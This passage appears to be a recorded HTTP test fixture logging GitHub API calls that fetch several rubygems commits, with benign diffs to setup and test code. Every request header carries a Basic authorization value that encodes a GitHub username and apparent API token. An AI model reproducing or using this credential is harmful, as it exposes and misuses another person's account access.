X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.036120' X-Github-Request-Id: - A25C:4D96:97166E:13A37D7:5A50E46C body: encoding: ASCII-8BIT string: '{"sha":"907bb798a1700e637cb966bf3027b85103f57e79","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-10-18T02:18:17Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-10T02:56:00Z"},"message":"Picked r60169 from ruby/ruby.\n\n https://github.com/ruby/ruby/commit/d4c4878441fec36c6052bf67d33b567ac5c60cb8","tree":{"sha":"b85686adc252795f86cedbabfe68721509240394","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/b85686adc252795f86cedbabfe68721509240394"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/907bb798a1700e637cb966bf3027b85103f57e79","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/907bb798a1700e637cb966bf3027b85103f57e79","html_url":"https://github.com/rubygems/rubygems/commit/907bb798a1700e637cb966bf3027b85103f57e79","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/907bb798a1700e637cb966bf3027b85103f57e79/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"01e797f6aa045fd09df7813d0b5448e3667172a9","url":"https://api.github.com/repos/rubygems/rubygems/commits/01e797f6aa045fd09df7813d0b5448e3667172a9","html_url":"https://github.com/rubygems/rubygems/commit/01e797f6aa045fd09df7813d0b5448e3667172a9"}],"stats":{"total":6,"additions":0,"deletions":6},"files":[{"sha":"fa444fa32f0bdcdec246cb22260bf7cc936c6ec1","filename":"test/rubygems/test_gem_commands_update_command.rb","status":"modified","additions":0,"deletions":6,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/907bb798a1700e637cb966bf3027b85103f57e79/test/rubygems/test_gem_commands_update_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/907bb798a1700e637cb966bf3027b85103f57e79/test/rubygems/test_gem_commands_update_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_update_command.rb?ref=907bb798a1700e637cb966bf3027b85103f57e79","patch":"@@ -2,12 +2,6 @@\n require ''rubygems/test_case''\n require ''rubygems/commands/update_command''\n \n-begin\n- gem \"rdoc\"\n-rescue Gem::LoadError\n- # ignore\n-end\n-\n class TestGemCommandsUpdateCommand < Gem::TestCase\n \n def setup"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:56 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/bb330275005d3f361240f205dc5f10258f3ff8ca body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:56 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4488' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"41f078f9ccae68bcba96998f374b2736" Last-Modified: - Thu, 09 Nov 2017 13:50:32 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.045127' X-Github-Request-Id: - A25E:4D97:90369C:1C473FB:5A50E46C body: encoding: ASCII-8BIT string: '{"sha":"bb330275005d3f361240f205dc5f10258f3ff8ca","commit":{"author":{"name":"Kazuhiro NISHIYAMA","email":"zn@mbf.nifty.com","date":"2017-11-09T13:50:32Z"},"committer":{"name":"Kazuhiro NISHIYAMA","email":"zn@mbf.nifty.com","date":"2017-11-09T13:50:32Z"},"message":"Merge glob pattern using braces","tree":{"sha":"a056c9f9c28f50aaac1f3831aa82abcd6d8b3710","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/a056c9f9c28f50aaac1f3831aa82abcd6d8b3710"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/bb330275005d3f361240f205dc5f10258f3ff8ca","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/bb330275005d3f361240f205dc5f10258f3ff8ca","html_url":"https://github.com/rubygems/rubygems/commit/bb330275005d3f361240f205dc5f10258f3ff8ca","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/bb330275005d3f361240f205dc5f10258f3ff8ca/comments","author":{"login":"znz","id":11857,"avatar_url":"https://avatars3.githubusercontent.com/u/11857?v=4","gravatar_id":"","url":"https://api.github.com/users/znz","html_url":"https://github.com/znz","followers_url":"https://api.github.com/users/znz/followers","following_url":"https://api.github.com/users/znz/following{/other_user}","gists_url":"https://api.github.com/users/znz/gists{/gist_id}","starred_url":"https://api.github.com/users/znz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/znz/subscriptions","organizations_url":"https://api.github.com/users/znz/orgs","repos_url":"https://api.github.com/users/znz/repos","events_url":"https://api.github.com/users/znz/events{/privacy}","received_events_url":"https://api.github.com/users/znz/received_events","type":"User","site_admin":false},"committer":{"login":"znz","id":11857,"avatar_url":"https://avatars3.githubusercontent.com/u/11857?v=4","gravatar_id":"","url":"https://api.github.com/users/znz","html_url":"https://github.com/znz","followers_url":"https://api.github.com/users/znz/followers","following_url":"https://api.github.com/users/znz/following{/other_user}","gists_url":"https://api.github.com/users/znz/gists{/gist_id}","starred_url":"https://api.github.com/users/znz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/znz/subscriptions","organizations_url":"https://api.github.com/users/znz/orgs","repos_url":"https://api.github.com/users/znz/repos","events_url":"https://api.github.com/users/znz/events{/privacy}","received_events_url":"https://api.github.com/users/znz/received_events","type":"User","site_admin":false},"parents":[{"sha":"01e797f6aa045fd09df7813d0b5448e3667172a9","url":"https://api.github.com/repos/rubygems/rubygems/commits/01e797f6aa045fd09df7813d0b5448e3667172a9","html_url":"https://github.com/rubygems/rubygems/commit/01e797f6aa045fd09df7813d0b5448e3667172a9"}],"stats":{"total":4,"additions":2,"deletions":2},"files":[{"sha":"ff8575e51282202cf051bd0650af81f7706e923b","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":2,"deletions":2,"changes":4,"blob_url":"https://github.com/rubygems/rubygems/blob/bb330275005d3f361240f205dc5f10258f3ff8ca/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/bb330275005d3f361240f205dc5f10258f3ff8ca/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=bb330275005d3f361240f205dc5f10258f3ff8ca","patch":"@@ -442,15 +442,15 @@ def rb_files_in dir\n # for installation of bundler as default gems\n def template_files\n Dir.chdir \"bundler/lib\" do\n- (Dir[File.join(''bundler'', ''templates'', ''**'', ''*'')] + Dir[File.join(''bundler'', ''templates'', ''**'', ''.*'')]).\n+ (Dir[File.join(''bundler'', ''templates'', ''**'', ''{*,.*}'')]).\n select{|f| !File.directory?(f)}\n end\n end\n \n # for cleanup old bundler files\n def template_files_in dir\n Dir.chdir dir do\n- (Dir[File.join(''templates'', ''**'', ''*'')] + Dir[File.join(''templates'', ''**'', ''.*'')]).\n+ (Dir[File.join(''templates'', ''**'', ''{*,.*}'')]).\n select{|f| !File.directory?(f)}\n end\n end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:56 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/b358e88336ea7bab067cfa6a86660c937eb6cfb2 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:57 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4487' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"a298a099ade04d247e8d82b71a033565" Last-Modified: - Thu, 09 Nov 2017 00:30:39 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.042495' X-Github-Request-Id: - C530:4D95:F47E3A:1C8371B:5A50E46C body: encoding: ASCII-8BIT string: '{"sha":"b358e88336ea7bab067cfa6a86660c937eb6cfb2","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-09T00:30:39Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-09T00:30:39Z"},"message":"Merge tag ''v2.7.2'' into 2.7","tree":{"sha":"bd9356c5a6dd10b69ddeb0efc9ac7fb60c46332b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/bd9356c5a6dd10b69ddeb0efc9ac7fb60c46332b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b358e88336ea7bab067cfa6a86660c937eb6cfb2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b358e88336ea7bab067cfa6a86660c937eb6cfb2","html_url":"https://github.com/rubygems/rubygems/commit/b358e88336ea7bab067cfa6a86660c937eb6cfb2","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b358e88336ea7bab067cfa6a86660c937eb6cfb2/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"81682b8d298aaf722681f779b31d436aad0c1779","url":"https://api.github.com/repos/rubygems/rubygems/commits/81682b8d298aaf722681f779b31d436aad0c1779","html_url":"https://github.com/rubygems/rubygems/commit/81682b8d298aaf722681f779b31d436aad0c1779"},{"sha":"01e797f6aa045fd09df7813d0b5448e3667172a9","url":"https://api.github.com/repos/rubygems/rubygems/commits/01e797f6aa045fd09df7813d0b5448e3667172a9","html_url":"https://github.com/rubygems/rubygems/commit/01e797f6aa045fd09df7813d0b5448e3667172a9"}],"stats":{"total":44,"additions":42,"deletions":2},"files":[{"sha":"706459b379ae72aa9670e15451391fb473d357b1","filename":".travis.yml","status":"modified","additions":8,"deletions":1,"changes":9,"blob_url":"https://github.com/rubygems/rubygems/blob/b358e88336ea7bab067cfa6a86660c937eb6cfb2/.travis.yml","raw_url":"https://github.com/rubygems/rubygems/raw/b358e88336ea7bab067cfa6a86660c937eb6cfb2/.travis.yml","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/.travis.yml?ref=b358e88336ea7bab067cfa6a86660c937eb6cfb2","patch":"@@ -47,5 +47,12 @@ matrix:\n - rvm: ruby-head\n env: \"TEST_TOOL=rubygems YAML=syck\"\n allow_failures:\n+ - rvm: 1.8.7\n+ env: \"TEST_TOOL=bundler RGV=master\"\n+ - rvm: 1.9.3\n+ env: \"TEST_TOOL=bundler RGV=master\"\n+ - rvm: 2.0.0\n+ env: \"TEST_TOOL=bundler RGV=master\"\n+ - rvm: 2.1.10\n+ env: \"TEST_TOOL=bundler RGV=master\"\n - rvm: ruby-head\n-"},{"sha":"cd48a96e56af02ad5f70f565ef12a8144a27024d","filename":"History.txt","status":"modified","additions":9,"deletions":0,"changes":9,"blob_url":"https://github.com/rubygems/rubygems/blob/b358e88336ea7bab067cfa6a86660c937eb6cfb2/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/b358e88336ea7bab067cfa6a86660c937eb6cfb2/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=b358e88336ea7bab067cfa6a86660c937eb6cfb2","patch":"@@ -1,5 +1,14 @@\n # coding: UTF-8\n \n+=== 2.7.2\n+\n+Bug fixes:\n+\n+* Added template files to vendoerd bundler. Pull request #2065 by SHIBATA\n+ Hiroshi.\n+* Added workaround for non-git environment. Pull request #2066 by SHIBATA\n+ Hiroshi.\n+\n === 2.7.1 (2017-11-03)\n \n Bug fixes:"},{"sha":"56290aa5705c0de57bf6b97fb303174502eb5254","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/b358e88336ea7bab067cfa6a86660c937eb6cfb2/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/b358e88336ea7bab067cfa6a86660c937eb6cfb2/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=b358e88336ea7bab067cfa6a86660c937eb6cfb2","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.7.1\"\n+ VERSION = \"2.7.2\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2"},{"sha":"93a46d4350b23fbdf75f3f403238b6ed09068470","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":24,"deletions":0,"changes":24,"blob_url":"https://github.com/rubygems/rubygems/blob/b358e88336ea7bab067cfa6a86660c937eb6cfb2/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/b358e88336ea7bab067cfa6a86660c937eb6cfb2/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=b358e88336ea7bab067cfa6a86660c937eb6cfb2","patch":"@@ -294,6 +294,8 @@ def install_lib(lib_dir)\n say \"Installing #{tool}\" if @verbose\n \n lib_files = rb_files_in path\n+ lib_files.concat(template_files) if tool == ''Bundler''\n+\n pem_files = pem_files_in path\n \n Dir.chdir path do\n@@ -354,6 +356,10 @@ def install_default_bundler_gem\n \n mkdir_p Gem::Specification.default_specifications_dir\n \n+ # Workaround for non-git environment.\n+ gemspec = File.read(''bundler/bundler.gemspec'').gsub(/`git ls-files -z`/, \"''''\")\n+ File.open(''bundler/bundler.gemspec'', ''w''){|f| f.write gemspec }\n+\n bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n bundler_spec.files = Dir.chdir(\"bundler\") { Dir[\"{*.md,{lib,exe,man}/**/*}\"] }\n bundler_spec.executables -= %w[bundler bundle_ruby]\n@@ -433,6 +439,22 @@ def rb_files_in dir\n end\n end\n \n+ # for installation of bundler as default gems\n+ def template_files\n+ Dir.chdir \"bundler/lib\" do\n+ (Dir[File.join(''bundler'', ''templates'', ''**'', ''*'')] + Dir[File.join(''bundler'', ''templates'', ''**'', ''.*'')]).\n+ select{|f| !File.directory?(f)}\n+ end\n+ end\n+\n+ # for cleanup old bundler files\n+ def template_files_in dir\n+ Dir.chdir dir do\n+ (Dir[File.join(''templates'', ''**'', ''*'')] + Dir[File.join(''templates'', ''**'', ''.*'')]).\n+ select{|f| !File.directory?(f)}\n+ end\n+ end\n+\n def remove_old_bin_files(bin_dir)\n old_bin_files = {\n ''gem_mirror'' => ''gem mirror'',\n@@ -470,8 +492,10 @@ def remove_old_lib_files lib_dir\n lib_dirs[File.join(lib_dir, ''bundler'')] = ''bundler/lib/bundler'' if Gem::USE_BUNDLER_FOR_GEMDEPS\n lib_dirs.each do |old_lib_dir, new_lib_dir|\n lib_files = rb_files_in(new_lib_dir)\n+ lib_files.concat(template_files_in(new_lib_dir)) if new_lib_dir =~ /bundler/\n \n old_lib_files = rb_files_in(old_lib_dir)\n+ old_lib_files.concat(template_files_in(old_lib_dir)) if old_lib_dir =~ /bundler/\n \n to_remove = old_lib_files - lib_files\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:57 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/81682b8d298aaf722681f779b31d436aad0c1779 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:57 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4486' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"26b11a21748e9a9a8753cb5c3c7dac8c" Last-Modified: - Thu, 09 Nov 2017 00:30:37 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.035138' X-Github-Request-Id: - C532:4D96:97167C:13A37FB:5A50E46D body: encoding: ASCII-8BIT string: '{"sha":"81682b8d298aaf722681f779b31d436aad0c1779","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-09T00:30:37Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-09T00:30:37Z"},"message":"Merge tag ''v2.7.1'' into 2.7\n\nTagging v2.7.1.","tree":{"sha":"c1034b36ebcc7655c4058991586a7643b270c995","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/c1034b36ebcc7655c4058991586a7643b270c995"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/81682b8d298aaf722681f779b31d436aad0c1779","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/81682b8d298aaf722681f779b31d436aad0c1779","html_url":"https://github.com/rubygems/rubygems/commit/81682b8d298aaf722681f779b31d436aad0c1779","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/81682b8d298aaf722681f779b31d436aad0c1779/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","url":"https://api.github.com/repos/rubygems/rubygems/commits/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c","html_url":"https://github.com/rubygems/rubygems/commit/c9ce30a46793ee04a68ce320a3fb15d3a26bd15c"},{"sha":"b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","url":"https://api.github.com/repos/rubygems/rubygems/commits/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d","html_url":"https://github.com/rubygems/rubygems/commit/b774cb43b0edcd0dd181f6aa10fa7f28bf14848d"}],"stats":{"total":18,"additions":15,"deletions":3},"files":[{"sha":"f0393a3879285b6fa90af297512b63f0c44b9ad2","filename":"History.txt","status":"modified","additions":7,"deletions":0,"changes":7,"blob_url":"https://github.com/rubygems/rubygems/blob/81682b8d298aaf722681f779b31d436aad0c1779/History.txt","raw_url":"https://github.com/rubygems/rubygems/raw/81682b8d298aaf722681f779b31d436aad0c1779/History.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/History.txt?ref=81682b8d298aaf722681f779b31d436aad0c1779","patch":"@@ -1,5 +1,12 @@\n # coding: UTF-8\n \n+=== 2.7.1 (2017-11-03)\n+\n+Bug fixes:\n+\n+* Fix `gem update --system` with RubyGems 2.7+. Pull request #2054 by\n+ Samuel Giddins.\n+\n === 2.7.0 (2017-11-02)\n \n Major enhancements:"},{"sha":"b40d5cd26687466a71e6c1aa9717b81653974422","filename":"Manifest.txt","status":"modified","additions":1,"deletions":0,"changes":1,"blob_url":"https://github.com/rubygems/rubygems/blob/81682b8d298aaf722681f779b31d436aad0c1779/Manifest.txt","raw_url":"https://github.com/rubygems/rubygems/raw/81682b8d298aaf722681f779b31d436aad0c1779/Manifest.txt","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Manifest.txt?ref=81682b8d298aaf722681f779b31d436aad0c1779","patch":"@@ -23,6 +23,7 @@ bundler/CODE_OF_CONDUCT.md\n bundler/CONTRIBUTING.md\n bundler/LICENSE.md\n bundler/README.md\n+bundler/bundler.gemspec\n bundler/exe/bundle\n bundler/exe/bundle_ruby\n bundler/exe/bundler"},{"sha":"dc5302059571b47ce61ef48059e0f0af5b64c2c5","filename":"Rakefile","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/81682b8d298aaf722681f779b31d436aad0c1779/Rakefile","raw_url":"https://github.com/rubygems/rubygems/raw/81682b8d298aaf722681f779b31d436aad0c1779/Rakefile","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/Rakefile?ref=81682b8d298aaf722681f779b31d436aad0c1779","patch":"@@ -95,7 +95,7 @@ Hoe::Package.instance_method(:install_gem).tap do |existing_install_gem|\n end\n end\n \n-Hoe::DEFAULT_CONFIG[\"exclude\"] = %r[#{Hoe::DEFAULT_CONFIG[\"exclude\"]}|\\./bundler/(?!lib|man|exe|[^/]+\\.md)|doc/]ox\n+Hoe::DEFAULT_CONFIG[\"exclude\"] = %r[#{Hoe::DEFAULT_CONFIG[\"exclude\"]}|\\./bundler/(?!lib|man|exe|[^/]+\\.md|bundler.gemspec)|doc/]ox\n \n v = hoe.version\n "},{"sha":"c4c279e964e7ce4542af9399f47b92f749dbf928","filename":"lib/rubygems.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/81682b8d298aaf722681f779b31d436aad0c1779/lib/rubygems.rb","raw_url":"https://github.com/rubygems/rubygems/raw/81682b8d298aaf722681f779b31d436aad0c1779/lib/rubygems.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems.rb?ref=81682b8d298aaf722681f779b31d436aad0c1779","patch":"@@ -10,7 +10,7 @@\n require ''thread''\n \n module Gem\n- VERSION = \"2.7.0\"\n+ VERSION = \"2.7.1\"\n end\n \n # Must be first since it unloads the prelude from 1.9.2"},{"sha":"5f39b4c93c15c4258374331d6a54167de59451fa","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":5,"deletions":1,"changes":6,"blob_url":"https://github.com/rubygems/rubygems/blob/81682b8d298aaf722681f779b31d436aad0c1779/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/81682b8d298aaf722681f779b31d436aad0c1779/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=81682b8d298aaf722681f779b31d436aad0c1779","patch":"@@ -352,8 +352,10 @@ def fake_spec.full_gem_path\n def install_default_bundler_gem\n return unless Gem::USE_BUNDLER_FOR_GEMDEPS\n \n+ mkdir_p Gem::Specification.default_specifications_dir\n+\n bundler_spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n- bundler_spec.files = Dir[\"bundler/{*.md,{lib,exe,man}/**/*}\"]\n+ bundler_spec.files = Dir.chdir(\"bundler\") { Dir[\"{*.md,{lib,exe,man}/**/*}\"] }\n bundler_spec.executables -= %w[bundler bundle_ruby]\n Dir.entries(Gem::Specification.default_specifications_dir).\n select {|gs| gs.start_with?(\"bundler-\") }.\n@@ -370,6 +372,8 @@ def install_default_bundler_gem\n \n mkdir_p bundler_spec.bin_dir\n bundler_spec.executables.each {|e| cp File.join(\"bundler\", bundler_spec.bindir, e), File.join(bundler_spec.bin_dir, e) }\n+\n+ say \"Bundler 